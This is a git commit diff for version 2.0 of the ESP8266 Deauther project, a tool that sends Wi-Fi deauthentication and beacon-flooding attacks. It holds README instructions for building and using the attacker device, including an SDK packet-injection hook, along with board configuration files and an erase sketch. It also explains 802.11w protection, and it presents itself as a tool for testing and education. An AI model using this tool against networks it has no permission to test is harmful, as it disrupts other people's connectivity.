Version 2.0

This commit is contained in:
Stefan Kremser 2018-03-24 18:15:59 +01:00
parent 105957d65b
commit 24d9043988
158 changed files with 53137 additions and 31789 deletions

33
.gitignore vendored
View File

@ -1,33 +0,0 @@
# Object files
*.o
*.ko
*.obj
*.elf
# Precompiled Headers
*.gch
*.pch
# Libraries
*.lib
*.a
*.la
*.lo
# Shared objects (inc. Windows DLLs)
*.dll
*.so
*.so.*
*.dylib
# Executables
*.exe
*.out
*.app
*.i*86
*.x86_64
*.hex
# Debug files
*.dSYM/
*.su

View File

@ -1,5 +0,0 @@
Please only make pull requests to the [testing branch](https://github.com/spacehuhn/esp8266_deauther/tree/testing) to avoid future conflicts.
The `testing` branch is merged with `master` on every release.
**Issues** should contain a detailed description with as much information as possible!
Also note that issues are for resolving bugs and not to solve YOUR upload error. Please read the [FAQ](https://github.com/spacehuhn/esp8266_deauther/wiki/FAQ), [README](https://github.com/spacehuhn/esp8266_deauther/blob/master/README.md) and search for similar issues before posting a new one.

View File

@ -1,31 +0,0 @@
Please fill the info fields, it helps to get you faster support ;)
If you have a Guru Meditation Error, please decode it:
https://github.com/me-no-dev/EspExceptionDecoder
----------------------------- Remove above -----------------------------
### Hardware/Flashing:
Board: ?ESP8266 dev module?Tindie OLED?Wemos Mini?Other (specify)?
Using OLED: ?YES?NO?
Using WebServer: ?YES?NO?
Using Serial: ?YES?NO?
Installation mode: ?binary?source?
Code/binary version: ?1.5?1.6?
Flash size: ?1M/512K?
Flash method: ?esptool?Arduino IDE?
Flash Frequency: ?40Mhz?
Upload Speed: ?115200?
Powered by: ?USB?Battery?
### Description:
Describe your problem here, provide as many details as possible.
Make sure you read the FAQ first, incomplete bug reports will be CLOSED without notice.
What you're expecting: ---
What you get instead: ---
### Debug Messages:
```
Put the serial output here

View File

@ -1,6 +1,6 @@
MIT License
Copyright (c) 2017 Stefan Kremser
Copyright (c) 2018 Stefan Kremser
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
@ -12,7 +12,7 @@ furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
Do not redistribute, advertising or sell of this softwae as "jammer"!
Do not redistribute, advertise or sell this software as a "jammer"!
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
@ -20,4 +20,4 @@ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
SOFTWARE.

328
README.md
View File

@ -1,298 +1,102 @@
# ESP8266 Deauther
Deauthentication attack and other exploits using an ESP8266!
# ESP8266 Deauther 2.0
<img width="100%" alt="esp8266 deauther with smartphone" src="https://raw.githubusercontent.com/spacehuhn/esp8266_deauther/master/screenshots/smartphone_and_deauther.jpg">
<p align="center"><img alt="logo" src="https://github.com/spacehuhn/deauther2.0/blob/master/img/deauther_logo.png" width="200"></p>
<p align="center">
🐦 <a href="https://twitter.com/spacehuhn">Twitter</a>
| 📺 <a href="https://www.youtube.com/channel/UCFmjA6dnjv-phqrFACyI8tw">YouTube</a>
| 🌍 <a href="https://spacehuhn.de">spacehuhn.de</a><br/>
<br />
<b>Support me and my projects by purchasing one of the <a href="https://github.com/spacehuhn/esp8266_deauther/#supported-devices">official deauther boards</a>.<br/>Or become my patron on <a href="https://patreon.com/spacehuhn" target="_blank">patreon.com/spacehuhn</a>.</b>
<b>Support the development of this project by purchasing one of the <a href="https://github.com/spacehuhn/deauther2.0/wiki/Supported-Devices">official deauther boards</a>.<br/>Or become a patron on <a href="https://patreon.com/spacehuhn" target="_blank">patreon.com/spacehuhn</a>.</b>
</p>
## Contents
- [Introduction](#introduction)
- [What it is and how it works](#what-it-is-and-how-it-works)
- [How to protect yourself against it](#how-to-protect-yourself-against-it)
- [Disclaimer](#disclaimer)
- [Supported Devices](#supported-devices)
- [Installation](#installation)
- [Uploading the bin files](#uploading-the-bin-files)
- [Compiling the source with Arduino](#compiling-the-source-with-arduino)
- [Adding an OLED display](#adding-an-oled-display)
- [How to use it](#how-to-use-it)
- [FAQ](https://github.com/spacehuhn/esp8266_deauther/wiki/FAQ)
- [License](#license)
- [Sources and additional links](#sources-and-additional-links)
- [Custom Design Versions](#custom-design-versions)
- [Videos](#videos)
- [Sources](#sources)
## What is New
Version 2.0:
- Completly rewritten code base for better performance and later enhancements
- Custom Deauther SDK for easy compiling using Arduino
- New serial command line interface to control and debug the program
- New display UI with a lot of new functions
- Improved web interface with multi-language support
- Improved scanning for access points and stations (+ continuous scanning mode)
- Save and select device names for both scanning and attacking
- Save up to 60 SSIDs and 25 devices in one list (you can create, load and save multiple lists)
- Added [PacketMonitor](https://github.com/spacehuhn/PacketMonitor) to display UI
- Deauth detection when scanning
- RGB LED support for a quick indication what the device is doing (attacking, scanning, ...)
- Better documentation on the new [wiki](https://github.com/spacehuhn/deauther2.0/wiki)
## Introduction
## About this project
**Scan for access points, client devices, disconnect them, create dozens of fake WiFi networks and confuse other wireless scanners!**
### What it is and how it works
This software allows you to easily perform a variety of actions to test 802.11 wireless networks by using an inexpensive ESP8266 WiFi SoC (System On A Chip).
This software allows you to perform a [deauth attack](https://en.wikipedia.org/wiki/Wi-Fi_deauthentication_attack) with an ESP8266 against selected networks.
The [ESP8266](https://en.wikipedia.org/wiki/ESP8266) is a cheap and easy to use Wi-Fi SoC (System-on-a-Chip), programmable with the [Arduino IDE](https://www.arduino.cc/en/Main/Software).
With this software flashed onto it, you can select a target network and start different attacks.
The main feature, the deauthentication attack, is used to disconnect devices from their WiFi network.
No one seems to care about this huge vulnerability in the official 802.11 WiFi standard, so I took action and enabled everyone with less than 10 USD to recreate this project.
I hope it raises more attention on the issue. In 2009 the WiFi Alliance actually fixed the problem (see [802.11w](https://en.wikipedia.org/wiki/IEEE_802.11w-2009)), but only a few companies implemented it into their devices and software.
To effectively prevent a deauthentication attack, both client and access point must support the 802.11w standard with protected managment frames (PMF).
While most client devices seem to support it when the access point forces it, basically no WiFi access point has it enabled.
The deauth attack will, if the connection is vulnerable, disconnect the devices from the network. Because the attack is running constantly, the devices will be disconnected again and again. Depending on the network, that can either block a connection or slow it down.
Feel free to test your hardware, annoy these companies with the problem, share this project and push for a fix!
This project is also a great way to learn more about WiFi, micro controllers, Arduino, hacking and electronics/programming in general.
**But please use this tool responsably and do not use it against others without their permission!**
**The difference between deauthing and jamming:** [WiFi Jammers vs Deauthers | What's The Difference?](https://www.youtube.com/watch?v=6m2vY2HXU60)
Other attacks also have been implemented, such as beacon and probe request flooding.
The deauth attack works by exploiting an old and known vulnerability in the 802.11 Wi-Fi protocol.
Because these [deauthentication frames](https://mrncciew.com/2014/10/11/802-11-mgmt-deauth-disassociation-frames/), usually used to close a Wi-Fi connection safely, are unencrypted, it's very easy to spoof them. You only need the mac address of the access point, which you can sniff easily.
If you don't want to attack all connected devices, you can also scan for connections and attack them specifically.
**Is deauthing legal?** [WiFi Jammers/Deauthers | Legal?](https://www.youtube.com/watch?v=IromynQ1srI)
### How to protect yourself against it
With [802.11w-2009](https://en.wikipedia.org/wiki/IEEE_802.11w-2009) the Wi-Fi protocol became encrypted management (and deauthentication) frames. This makes spoofing these packets way harder and the attack, in this form, ineffective.
So make sure your router is up to date and has management frame protection enabled. Your client device (e.g your phone, notebook etc.) needs to support that too. Both ends of the connection need to use it!
The problem with that is, most routers use unencrypted managment frames by default, don't provide any option to change that and don't provide any information about this issue.
I tested several networks and couldn't find one that wasn't vulnerable!
I made a [Deauth Detector](https://github.com/spacehuhn/DeauthDetector) using the same ESP8266 to indicate high amounts of deauth frames. It can't protect you, but it can help you figure out if and when an attack is going on.
The difference between deauthing and jamming: [click me](https://github.com/spacehuhn/deauther2.0/wiki/FAQ#difference-between-jammer-and-deauther)
## Disclaimer
**This project is a proof of concept for testing and educational purposes.**
Neither the ESP8266, nor its SDK was meant or build for such purposes.
Bugs can occur!
This project is a proof of concept for testing and educational purposes.
Neither the ESP8266, nor its SDK was meant or build for such purposes. Bugs can occur!
Use it only against your own networks and devices!
Please check the legal regulations in your country before using it.
I don't take any responsibility for what you do with this program.
Please check the legal regulations in your country before using it.
**It is not a frequency jammer as claimed falsely by many people.** Its attack, how it works and how to protect against it is described above. It uses valid Wi-Fi frames described in the official 802.11 standard and doesn't block or disrupt any frequencies.
It is not a frequency jammer as claimed falsely by many people. Its attack, its method and how to protect against it is described above. It uses valid Wi-Fi frames described in the IEEE 802.11 standard and doesn't block or disrupt any frequencies.
My intention with this project is to draw more attention on this issue.
This attack shows how vulnerable the 802.11 Wi-Fi standard is and that it has to be fixed.
**A solution is already there, why don't we use it?**
This project is meant to draw more attention on this issue.
The [deauthentication](https://en.wikipedia.org/wiki/Wi-Fi_deauthentication_attack) attack shows how vulnerable the 802.11 Wi-Fi standard is and that it has to be fixed.
A solution is already there, why don't we use it?
Please don't refer to this project as "jammer", that totally undermines the real purpose of this project!
**Please don't refer to this project as "jammer", that totally undermines the real purpose of this project!**
If you do, it only prooves that you didn't understand anything of what this project stands for. Publishing content about this without a proper explaination shows that you only do it for the clicks, fame and/or money and have no respect for intellectual property, the community behind it and the fight for a better WiFi standard!
## Supported Devices
## Getting Started
**You can flash this software yourself onto any ESP8266**, but if you would like to support me, you can get one of the DSTIKE development boards that are made for this project and come with everything preinstalled!
Here is the link to Travis Lin's shop who makes them:
- [AliExpress](https://dstike.aliexpress.com/store/2996024)
Visit our new [Wiki](https://github.com/spacehuhn/deauther2.0/wiki) on how to recreate this project and use it.
Happy Hacking!
## Official Deauther Boards
![PICTURE DSTIKE Deauther OLED Board](https://github.com/spacehuhn/deauther2.0/blob/master/img/DSTIKE_Deauther_Board.jpg)
If you want to support the development of this project, you can buy one of the offical boards by DSTIKE (Travis Lin) on following sites:
- [Tindie](https://tindie.com/stores/lspoplove)
- [AliExpress](https://dstike.aliexpress.com/store/2996024)
- [Taobao](https://shop135375846.taobao.com)
## Installation
You have 2 choices here. Uploading the .bin files is easier, but not as good for debugging.
**YOU ONLY NEED TO DO ONE OF THE INSTALLATION METHODS!**
Those boards are optimized for this project, ready to use and come preflashed with the Deauther software!
For more details visit the [Wiki](https://github.com/spacehuhn/deauther2.0/wiki) under [Supported Devices](https://github.com/spacehuhn/deauther2.0/wiki/Supported-Devices).
### Uploading the bin files
## Credits
A huge thanks to:
- [@deantonious](http://github.com/deantonious)
- [@jLynx](https://github.com/jLynx)
- [@lspoplove](https://github.com/lspoplove)
- [@schinfo](https://github.com/schinfo)
- [@tobozo](https://github.com/tobozo)
- [@xdavidhu](https://github.com/xdavidhu)
- [@PwnKitteh](https://github.com/PwnKitteh)
**0** Download the current release from [releases](https://github.com/spacehuhn/esp8266_deauther/releases)
for helping out with various things regarding this project and keeping it alive!
Always use the 1mb version, unless you're sure that your ESP8266 only has 512kb flash memory.
**Note:** the 512kb version won't have the full mac vendors list.
I also want to thank Espressif and their community for this awesome chip and all the software and hardware projects around it and the countless tutorials you can find online!
**1** Upload using the ESP8266 flash tool of your choice:
- [nodemcu-flasher](https://github.com/nodemcu/nodemcu-flasher) [Windows only]
- [esptool-gui](https://github.com/Rodmg/esptool-gui) [Windows, MacOS]
- [esptool](https://github.com/espressif/esptool) [Windows, MacOS, Linux]
Shoutout to everyone working on the libraries used for this project:
- [esp8266-oled-ssd1306](https://github.com/ThingPulse/esp8266-oled-ssd1306)
- [ArduinoJson](https://github.com/bblanchon/ArduinoJson)
- [LinkedList](https://github.com/ivanseidel/LinkedList)
**That's all!**
Make sure your settings are correct for your board. Most boards come with 4mb flash and sometimes you have to hold the flash button down while plugging it in and hold it until the flashing process started.
Also make sure you select the right com-port, the right upload size (mostly 4mb) and the correct .bin file.
If it's not working, you can try using the Arduino as descriped below.
### Compiling the source with Arduino
**0** Download the source code of this project.
**1** Install [Arduino](https://www.arduino.cc/en/Main/Software) and open it.
**2** Go to `File` > `Preferences`
**3** Add `http://arduino.esp8266.com/stable/package_esp8266com_index.json` to the Additional Boards Manager URLs. (source: https://github.com/esp8266/Arduino)
**4** Go to `Tools` > `Board` > `Boards Manager`
**5** Type in `esp8266`
**6** Select version `2.0.0` and click on `Install` (**must be version 2.0.0!**)
![screenshot of arduino, selecting the right version](https://raw.githubusercontent.com/spacehuhn/esp8266_deauther/master/screenshots/arduino_screenshot_1.JPG)
**7** Go to `File` > `Preferences`
**8** Open the folder path under `More preferences can be edited directly in the file`
![screenshot of arduino, opening folder path](https://raw.githubusercontent.com/spacehuhn/esp8266_deauther/master/screenshots/arduino_screenshot_2.JPG)
**9** Go to `packages` > `esp8266` > `hardware` > `esp8266` > `2.0.0` > `tools` > `sdk` > `include`
**10** Open `user_interface.h` with a text editor
**11** Scroll down and before `#endif` add following lines:
```
typedef void (*freedom_outside_cb_t)(uint8 status);
int wifi_register_send_pkt_freedom_cb(freedom_outside_cb_t cb);
void wifi_unregister_send_pkt_freedom_cb(void);
int wifi_send_pkt_freedom(uint8 *buf, int len, bool sys_seq);
```
![screenshot of notepad, copy paste the right code](https://raw.githubusercontent.com/spacehuhn/esp8266_deauther/master/screenshots/notepad_screenshot_1.JPG)
**don't forget to save!**
**12** Go to the SDK_fix folder of this project
**13** Copy ESP8266Wi-Fi.cpp and ESP8266Wi-Fi.h
**14** Paste these files here `packages` > `esp8266` > `hardware` > `esp8266` > `2.0.0` > `libraries` > `ESP8266WiFi` > `src`
**15** Open `esp8266_deauther` > `esp8266_deauther.ino` in Arduino
**16** Select your ESP8266 board at `Tools` > `Board` and the right port at `Tools` > `Port`
If no port shows up you may have to reinstall the drivers.
**17** Depending on your board you may have to adjust the `Tools` > `Board` > `Flash Frequency` and the `Tools` > `Board` > `Flash Size`. I use a `160MHz` flash frequency and a `4M (3M SPIFFS)` flash size.
**18** Upload!
**19** Install the [ESP8266 Sketh Data uploader](https://github.com/esp8266/arduino-esp8266fs-plugin) plugin, your mileage may vary depending on your version of Arduino IDE.
**20** Restart Arduino IDE, reopen the project, and from the "tools" menu, choose "ESP8266 Sketch Data Upload".
**Note:** If you use a 512kb version of the ESP8266, you will need to comment out a part of the mac vendor list in data.h. Otherwise it will use too much memory to fit on 512kb.
**Your ESP8266 Deauther is now ready!**
### Updating the MAC vendor list
The utils folder includes a python script for downloading the latest ["manuf"](https://code.wireshark.org/review/gitweb?p=wireshark.git;a=blob_plain;f=manuf) file from Whireshark and convert it to the format understood by esp8266_deauther.
The usage of the script is quite simple: `update_manuf.py [-h] [-o OUTPUT] [-u URL]` , e.g:
```
cd utils
python update_manuf.py -o ../esp8266_deauther/oui.h
```
### Adding an OLED display
![image of the esp8266 deauther with an OLED and three buttons](https://raw.githubusercontent.com/spacehuhn/esp8266_deauther/master/screenshots/esp8266_with_oled.jpg)
I included 2 extra .bin files for the display version on the release page.
One for the 0.96" SSD1306 OLED and one for the 1.3" SH1106 OLED.
| Display | ESP8266 |
| ------- | ------- |
| SDA | 5 (D1) |
| SCL | 4 (D2) |
| GND | GND |
| VCC | VCC (3.3V) |
The buttons have to be between following pins and GND:
| Button | ESP8266 |
| ------ | ------- |
| up | 12 (D6) |
| down | 13 (D7) |
| select | 14 (D5) |
If you use Arduino, you have will need to install this library: https://github.com/squix78/esp8266-oled-ssd1306.
Then you only need to uncomment `//#define USE_DISPLAY` in the beginning of the sketch.
Below that, you can customize the settings:
```
//create display(Adr, SDA-pin, SCL-pin)
SSD1306 display(0x3c, 5, 4); //GPIO 5 = D1, GPIO 4 = D2
//SH1106 display(0x3c, 5, 4);
//button pins
#define upBtn 12 //GPIO 12 = D6
#define downBtn 13 //GPIO 13 = D7
#define selectBtn 14 //GPIO 14 = D5
#define displayBtn 0 //GPIO 0 = FLASH BUTTON
```
## How to use it
First start your ESP8266 by plugging it in and giving it power.
Scan for Wi-Fi networks and connect to `pwned`. The password is `deauther`.
Once connected, you can open up your browser and go to `192.168.4.1`.
You can now scan for networks...
![webinterface AP scanner](https://raw.githubusercontent.com/spacehuhn/esp8266_deauther/master/screenshots/web_screenshot_1.JPG)
scan for client devices...
![webinterface client scanner](https://raw.githubusercontent.com/spacehuhn/esp8266_deauther/master/screenshots/web_screenshot_2.JPG)
Note: While scanning the ESP8266 will shut down its access point, so you may have to go to your settings and reconnect to the Wi-Fi network manually!
...and start different attacks.
![webinterface attack menu](https://raw.githubusercontent.com/spacehuhn/esp8266_deauther/master/screenshots/web_screenshot_3.JPG)
For more information please read the [FAQ](https://github.com/spacehuhn/esp8266_deauther/wiki/FAQ).
Also thanks to everyone that supports this project by [donating](http://spacehuhn.de/donate), beeing my [patron](http://patreon.com/spacehuhn) or bying one of the [official Deauther boards](https://www.tindie.com/stores/lspoplove) from DSTIKE.
## License
This software is licensed under the MIT License. See the [license file](LICENSE) for details.
## Sources and additional links
### Custom Design Versions
![Screenshot of 'Wi-PWN'](https://raw.githubusercontent.com/samdenty99/Wi-PWN/master/pictures/secondary-banner.png)
[Wi-PWN](https://github.com/samdenty99/Wi-PWN) - By [@samdenty99](https://github.com/samdenty99)
![Screenshot of 'Modern and Consistent'](https://raw.githubusercontent.com/Wandmalfarbe/esp8266_deauther/master/screenshots/web_screenshot_1.png)
[Modern and Consistent](https://github.com/Wandmalfarbe/esp8266_deauther) - By [@Wandmalfarbe](https://github.com/Wandmalfarbe)
<img height="400" alt="Screenshot of DeAutherDroid App" src="https://raw.githubusercontent.com/ExploiTR/DeAutherDroid/master/screenshots/device-2017-08-13-143401.png">
[DeAutherDroid Android APP](https://github.com/ExploiTR/DeAutherDroid) - By [@ExploiTR](https://github.com/ExploiTR)
### Videos
[![Explaining WFi Deauthing and Jammers (And the problem with 802.11)](https://img.youtube.com/vi/GUZyCV5c1SY/0.jpg)](https://www.youtube.com/watch?v=GUZyCV5c1SY)
[![Cheap Wi-Fi 'Jammer' Device | NodeMCU](https://img.youtube.com/vi/oQQhBdCQOTM/0.jpg)](https://www.youtube.com/watch?v=oQQhBdCQOTM)
[![Wifi 'Jammer' Device V1.1 | Setup Tutorial](https://img.youtube.com/vi/r5aoV5AolNo/0.jpg)](https://www.youtube.com/watch?v=r5aoV5AolNo)
[![WiFi Tutorial "Deauthing Made Simple"](https://img.youtube.com/vi/SswI-J-M2SE/0.jpg)](https://www.youtube.com/watch?v=SswI-J-M2SE)
[![Seguridad Inalámbrica | Explicación de Wifi Deauther en Español](https://img.youtube.com/vi/YYsSDXRgD10/0.jpg)](https://www.youtube.com/watch?v=YYsSDXRgD10)
[![WiFi Jammers/Deauthers | Legal?](https://img.youtube.com/vi/IromynQ1srI/0.jpg)](https://www.youtube.com/watch?v=IromynQ1srI)
[![WiFi Jammers vs Deauthers | What's The Difference?](https://img.youtube.com/vi/6m2vY2HXU60/0.jpg)](https://www.youtube.com/watch?v=6m2vY2HXU60)
### Sources
deauth attack: https://en.wikipedia.org/wiki/Wi-Fi_deauthentication_attack
deauth frame: https://mrncciew.com/2014/10/11/802-11-mgmt-deauth-disassociation-frames/
ESP8266:
* https://en.wikipedia.org/wiki/ESP8266
* https://espressif.com/en/products/hardware/esp8266ex/overview
packet injection with ESP8266:
* http://hackaday.com/2016/01/14/inject-packets-with-an-esp8266/
* http://bbs.espressif.com/viewtopic.php?f=7&t=1357
* https://github.com/pulkin/esp8266-injection-example
802.11w-2009: https://en.wikipedia.org/wiki/IEEE_802.11w-2009
Wi-Fi_send_pkt_freedom function limitations: https://esp32.com/viewtopic.php?t=586

View File

@ -0,0 +1,45 @@
#include <EEPROM.h>
#include <FS.h>
/*
Upload this sketch to your ESP8266 to erase
- all files in the SPIFFS,
- all data in the EEPROM
- WiFi credentials (SSID, password)
Also overwrites the previous program with this one (obviously).
*/
void setup() {
Serial.begin(115200);
Serial.println();
Serial.println("STARTING...");
EEPROM.begin(4096);
Serial.println("EEPROM initialized");
for (int i = 0; i < 4096; ++i){
EEPROM.write(i,0x00);
}
Serial.println("EEPROM cleaned");
SPIFFS.begin();
Serial.println("SPIFFS initialized");
SPIFFS.format();
Serial.println("SPIFFS cleaned");
ESP.eraseConfig();
Serial.println("WiFi credentials erased");
Serial.println("DONE!");
ESP.reset();
}
void loop() {
}

View File

@ -0,0 +1,81 @@
#ifndef config_h
#define config_h
// ===== DISPLAY LIBRARY ===== //
#include <Wire.h>
#include <SPI.h>
#include "SH1106Wire.h"
#include "SSD1306Wire.h"
#include "SH1106Spi.h"
#include "SSD1306Spi.h"
// =========================== //
// ===================== LED CONFIG ==================== //
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
Uncomment the type of LED you're using
Only one of them can be defined at a time!
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
#define DIGITAL_LED
//#define RGB_LED
//#define NEOPIXEL_LED
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
Adjust following settings for your type of LED
you can ignore the rest of the #define's
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
// === Settings for Digital LED === //
#define LED_ENABLE_R true
#define LED_ENABLE_G false
#define LED_ENABLE_B true
// === Settings for Digital LED and RGB LED === //
#define LED_CATHODE false // common ground (GND)
#define LED_PIN_R 2 // ESP-12 LED
#define LED_PIN_G 0
#define LED_PIN_B 16 // NodeMCU on-board LED
// === Settings for RGB LED and Neopixel LED === //
#define LED_MODE_BRIGHTNESS 10 // brightness of LED modes
#define LED_DYNAMIC_BRIGHTNESS false // brightness in scan mode depending on packet rate and deauths per second
// === Settings for Neopixel LED === //
#define LED_NEOPIXEL_NUM 1
#define LED_NEOPIXEL_PIN 9
// if it doesn't work try changing NEO_GRB to NEO_GRBW
#define LED_NEOPIXEL Adafruit_NeoPixel(LED_NEOPIXEL_NUM, LED_NEOPIXEL_PIN, NEO_GRB + NEO_KHZ800)
// ===================== DISPLAY CONFIG ==================== //
#define USE_DISPLAY true // will force display on
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
Adjust the pins to match your setup
Comment out the buttons you don't use.
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
#define BUTTON_UP 12
#define BUTTON_DOWN 13
#define BUTTON_A 14
//#define BUTTON_LEFT 12
//#define BUTTON_RIGHT 13
//#define BUTTON_B 10
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
Uncomment the type of display you're using
Only one of them can be defined at a time!
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
0x3c = I2C address
SDA = GPIO 5 (D1)
SCL/SCK = GPIO 4 (D2) */
//#define DEAUTHER_DISPLAY SSD1306Wire display = SSD1306Wire(0x3c, 5, 4); // for 0.96" OLED
#define DEAUTHER_DISPLAY SH1106Wire display = SH1106Wire(0x3c, 5, 4); // for 1.3" OLED
/* RST = GPIO 5 (D1)
DC = GPIO 4 (D2)
CS = GPIO 15 (D8) or GND
SCK/SCL = GPIO 14 (D5)
SDA/MOSI = GPIO 13 (D7) */
//#define DISPLAY SSD1306Spi display = SSD1306Spi display = SSD1306Spi(5, 4, 15); // for 0.96" OLED with SPI
//#define DISPLAY SH1106Spi display = SH1106Spi(5, 4); // for 1.3" OLED with SPI
// ========================================================= //
#endif

View File

@ -0,0 +1,81 @@
#ifndef config_h
#define config_h
// ===== DISPLAY LIBRARY ===== //
#include <Wire.h>
#include <SPI.h>
#include "SH1106Wire.h"
#include "SSD1306Wire.h"
#include "SH1106Spi.h"
#include "SSD1306Spi.h"
// =========================== //
// ===================== LED CONFIG ==================== //
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
Uncomment the type of LED you're using
Only one of them can be defined at a time!
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
//#define DIGITAL_LED
//#define RGB_LED
#define NEOPIXEL_LED
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
Adjust following settings for your type of LED
you can ignore the rest of the #define's
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
// === Settings for Digital LED === //
#define LED_ENABLE_R true
#define LED_ENABLE_G false
#define LED_ENABLE_B true
// === Settings for Digital LED and RGB LED === //
#define LED_CATHODE false // common ground (GND)
#define LED_PIN_R 2 // ESP-12 LED
#define LED_PIN_G 0
#define LED_PIN_B 16 // NodeMCU on-board LED
// === Settings for RGB LED and Neopixel LED === //
#define LED_MODE_BRIGHTNESS 10 // brightness of LED modes
#define LED_DYNAMIC_BRIGHTNESS false // brightness in scan mode depending on packet rate and deauths per second
// === Settings for Neopixel LED === //
#define LED_NEOPIXEL_NUM 1
#define LED_NEOPIXEL_PIN 15
// if it doesn't work try changing NEO_GRB to NEO_GRBW
#define LED_NEOPIXEL Adafruit_NeoPixel(LED_NEOPIXEL_NUM, LED_NEOPIXEL_PIN, NEO_GRB + NEO_KHZ800)
// ===================== DISPLAY CONFIG ==================== //
#define USE_DISPLAY true // will force display on
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
Adjust the pins to match your setup
Comment out the buttons you don't use.
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
#define BUTTON_UP 12
#define BUTTON_DOWN 13
#define BUTTON_A 14
//#define BUTTON_LEFT 12
//#define BUTTON_RIGHT 13
//#define BUTTON_B 10
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
Uncomment the type of display you're using
Only one of them can be defined at a time!
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
0x3c = I2C address
SDA = GPIO 5 (D1)
SCL/SCK = GPIO 4 (D2) */
//#define DEAUTHER_DISPLAY SSD1306Wire display = SSD1306Wire(0x3c, 5, 4); // for 0.96" OLED
#define DEAUTHER_DISPLAY SH1106Wire display = SH1106Wire(0x3c, 5, 4); // for 1.3" OLED
/* RST = GPIO 5 (D1)
DC = GPIO 4 (D2)
CS = GPIO 15 (D8) or GND
SCK/SCL = GPIO 14 (D5)
SDA/MOSI = GPIO 13 (D7) */
//#define DISPLAY SSD1306Spi display = SSD1306Spi display = SSD1306Spi(5, 4, 15); // for 0.96" OLED with SPI
//#define DISPLAY SH1106Spi display = SH1106Spi(5, 4); // for 1.3" OLED with SPI
// ========================================================= //
#endif

80
configs/deauther_boy.txt Normal file
View File

@ -0,0 +1,80 @@
#ifndef config_h
#define config_h
// ===== DISPLAY LIBRARY ===== //
#include <Wire.h>
#include <SPI.h>
#include "SH1106Wire.h"
#include "SSD1306Wire.h"
#include "SH1106Spi.h"
#include "SSD1306Spi.h"
// =========================== //
// ===================== LED CONFIG ==================== //
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
Uncomment the type of LED you're using
Only one of them can be defined at a time!
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
//#define DIGITAL_LED
//#define RGB_LED
#define NEOPIXEL_LED
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
Adjust following settings for your type of LED
you can ignore the rest of the #define's
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
// === Settings for Digital LED === //
#define LED_ENABLE_R true
#define LED_ENABLE_G false
#define LED_ENABLE_B true
// === Settings for Digital LED and RGB LED === //
#define LED_CATHODE false // common ground (GND)
#define LED_PIN_R 2 // ESP-12 LED
#define LED_PIN_G 0
#define LED_PIN_B 16 // NodeMCU on-board LED
// === Settings for RGB LED and Neopixel LED === //
#define LED_MODE_BRIGHTNESS 10 // brightness of LED modes
#define LED_DYNAMIC_BRIGHTNESS false // brightness in scan mode depending on packet rate and deauths per second
// === Settings for Neopixel LED === //
#define LED_NEOPIXEL_NUM 1
#define LED_NEOPIXEL_PIN 15
// if it doesn't work try changing NEO_GRB to NEO_GRBW
#define LED_NEOPIXEL Adafruit_NeoPixel(LED_NEOPIXEL_NUM, LED_NEOPIXEL_PIN, NEO_GRB + NEO_KHZ800)
// ===================== DISPLAY CONFIG ==================== //
#define USE_DISPLAY true // will force display on
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
Adjust the pins to match your setup
Comment out the buttons you don't use.
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = */
#define BUTTON_UP 10
#define BUTTON_DOWN 9
#define BUTTON_LEFT 0
#define BUTTON_RIGHT 13
#define BUTTON_A 14
#define BUTTON_B 12
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
Uncomment the type of display you're using
Only one of them can be defined at a time!
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
0x3c = I2C address
SDA = GPIO 5 (D1)
SCL/SCK = GPIO 4 (D2) */
//#define DEAUTHER_DISPLAY SSD1306Wire display = SSD1306Wire(0x3c, 5, 4); // for 0.96" OLED
#define DEAUTHER_DISPLAY SH1106Wire display = SH1106Wire(0x3c, 5, 4); // for 1.3" OLED
/* RST = GPIO 5 (D1)
DC = GPIO 4 (D2)
CS = GPIO 15 (D8) or GND
SCK/SCL = GPIO 14 (D5)
SDA/MOSI = GPIO 13 (D7) */
//#define DISPLAY SSD1306Spi display = SSD1306Spi display = SSD1306Spi(5, 4, 15); // for 0.96" OLED with SPI
//#define DISPLAY SH1106Spi display = SH1106Spi(5, 4); // for 1.3" OLED with SPI
// ========================================================= //
#endif

81
configs/default.txt Normal file
View File

@ -0,0 +1,81 @@
#ifndef config_h
#define config_h
// ===== DISPLAY LIBRARY ===== //
#include <Wire.h>
#include <SPI.h>
#include "SH1106Wire.h"
#include "SSD1306Wire.h"
#include "SH1106Spi.h"
#include "SSD1306Spi.h"
// =========================== //
// ===================== LED CONFIG ==================== //
/* = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
